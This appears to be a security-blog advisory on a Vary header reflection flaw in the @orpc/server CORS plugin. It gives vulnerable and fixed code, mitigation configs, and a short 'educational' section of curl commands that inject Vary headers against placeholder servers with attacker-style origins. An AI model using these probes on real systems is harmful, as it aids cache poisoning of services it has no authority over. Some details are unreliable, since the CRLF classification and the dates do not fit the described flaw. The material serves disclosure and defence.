Listen to this Post
The @orpc/server CORS plugin in packages/server/src/plugins/cors.ts contained a flaw where it copied a client’s incoming Vary request header directly into the HTTP response. The Vary header is intended to be a response-only directive that instructs downstream caches and proxies on which request headers should be used to key cached responses. By reflecting the request’s Vary value into the response, the plugin allowed an attacker to inject arbitrary header names into the response’s Vary field. This is problematic because shared caches, CDNs, and reverse proxies that sit in front of an oRPC server may use the Vary header to determine cache keys. If an attacker supplies a crafted Vary header such as “Vary: X-Custom-Header”, the cache may begin keying responses on that attacker-controlled header. This can lead to cache key pollution, where legitimate responses for other clients are stored and served under incorrect cache keys. The consequence is inconsistent CORS enforcement: a response that should have been served with proper Access-Control-Allow-Origin headers may be cached and served to a different origin, or vice versa. The vulnerability is classified as CWE-113, Improper Neutralization of CRLF Sequences in HTTP Headers. The practical impact is limited to deployments where a shared cache or reverse proxy actually keys on the Vary header. In default non-cached configurations, there is no direct confidentiality, integrity, or availability impact. The issue was fixed in version 1.14.8 by deriving Vary exclusively from the response and appending Origin while preserving existing values.
DailyCVE Form:
Platform: oRPC
Version: <= 1.14.7
Vulnerability: Vary Header Injection
Severity: Medium
date: 2026-09-16
Prediction: 2026-07-13
What Undercode Say:
Check installed version npm list @orpc/server View vulnerable source cat node_modules/@orpc/server/packages/server/src/plugins/cors.ts Search for Vary handling grep -n "Vary" node_modules/@orpc/server/packages/server/src/plugins/cors.ts Test reflected Vary header curl -H "Vary: X-Attacker-Header" http://target-orpc-server/endpoint -v 2>&1 | grep -i vary Simulate cache poisoning curl -H "Vary: X-Injected" -H "Origin: https://evil.com" http://target-orpc-server/api/data
// Vulnerable pattern (pre-1.14.8)
const varyHeader = request.headers.get('Vary');
response.headers.set('Vary', varyHeader);
// Fixed pattern (1.14.8+)
const vary = response.headers.get('Vary') || '';
const newVary = vary ? `${vary}, Origin` : 'Origin';
response.headers.set('Vary', newVary);
Exploit: (Educational Purposes!)
Identify oRPC server behind CDN/shared cache
curl -I http://target-orpc-server/api/endpoint
Inject arbitrary Vary header
curl -H "Vary: User-Agent, X-Forwarded-Host" http://target-orpc-server/api/data
Observe cache behavior with injected Vary
curl -H "Origin: https://victim.com" -H "Vary: X-Custom" http://target-orpc-server/api/data -v
Attempt cache key collision
for i in {1..10}; do
curl -H "Vary: X-Probe-$i" -H "Origin: https://attacker.com" \
http://target-orpc-server/api/sensitive
done
Verify inconsistent CORS response
curl -H "Origin: https://legitimate.com" \
http://target-orpc-server/api/data | grep -i "access-control-allow-origin"
Protection: from this CVE
Upgrade to patched version npm install @orpc/[email protected] Verify version npm list @orpc/server Check all @orpc packages npm list | grep @orpc Audit for bundled CORS plugin npm audit --audit-level=moderate Override if transitive dependency npm pkg set overrides.@orpc/server="1.14.8"
Defense-in-depth: Normalize Vary at reverse proxy
proxy_hide_header Vary;
add_header Vary "Origin, Accept-Encoding";
Strip client-supplied Vary before forwarding
location / {
proxy_set_header Vary "";
proxy_pass http://orpc-backend;
}
// Application-level mitigation (pre-patch)
app.use((req, res, next) => {
delete req.headers['vary'];
next();
});
Impact:
May cause cache key pollution and inconsistent CORS enforcement in setups that rely on shared/edge caches keying on Vary. No direct confidentiality, integrity, or availability impact in default (non-cached) configurations.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
